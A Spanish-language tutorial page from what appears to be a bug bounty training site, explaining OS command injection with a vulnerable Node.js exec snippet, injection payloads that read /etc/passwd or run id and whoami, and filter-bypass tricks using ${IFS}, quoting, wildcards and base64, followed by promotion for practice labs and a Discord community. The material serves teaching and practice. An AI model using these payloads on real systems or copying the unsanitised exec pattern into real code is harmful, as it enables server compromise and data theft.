Command Injection

Crítico

OS Command Injection

Definición

Command Injection es una vulnerabilidad que permite a un atacante ejecutar comandos del sistema operativo en el servidor a través de una aplicación vulnerable. Ocurre cuando la aplicación pasa entrada del usuario directamente a funciones de ejecución de comandos del sistema (exec, system, popen, etc.).

Impacto

Ejecución de comandos arbitrarios en el sistema operativoLectura, modificación y eliminación de archivos del servidorEstablecimiento de reverse shells para acceso persistenteCompromiso total del servidorMovimiento lateral y pivoting a otros sistemas internos

Ejemplos

Command Injection en funcionalidad de ping

La aplicación concatena la entrada del usuario con un comando del sistema sin sanitización. Usando operadores de shell como ;, |, &&, o sustitución de comandos $(), el atacante puede ejecutar cualquier comando.

# Código vulnerable (Node.js)
const { exec } = require('child_process');
exec('ping -c 4 ' + req.body.host);

# Petición legítima
POST /api/network/ping
{"host": "8.8.8.8"}

# Payloads de inyección
{"host": "8.8.8.8; cat /etc/passwd"}
{"host": "8.8.8.8 | id"}
{"host": "8.8.8.8 && whoami"}
{"host": "$(cat /etc/passwd)"}

Bypass de filtros de Command Injection

Cuando la aplicación implementa filtros básicos (como bloquear espacios o palabras clave), existen múltiples técnicas de bypass usando variables de entorno, comillas, wildcards o codificación en Base64.

# Si se filtran espacios:
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd

# Si se filtran palabras clave:
c'a't /etc/passwd
c\at /etc/passwd
/bin/c?t /etc/passwd

# Si se filtran caracteres especiales:
echo${IFS}dGVzdA==|base64${IFS}-d

Practica Command Injection con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica
2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.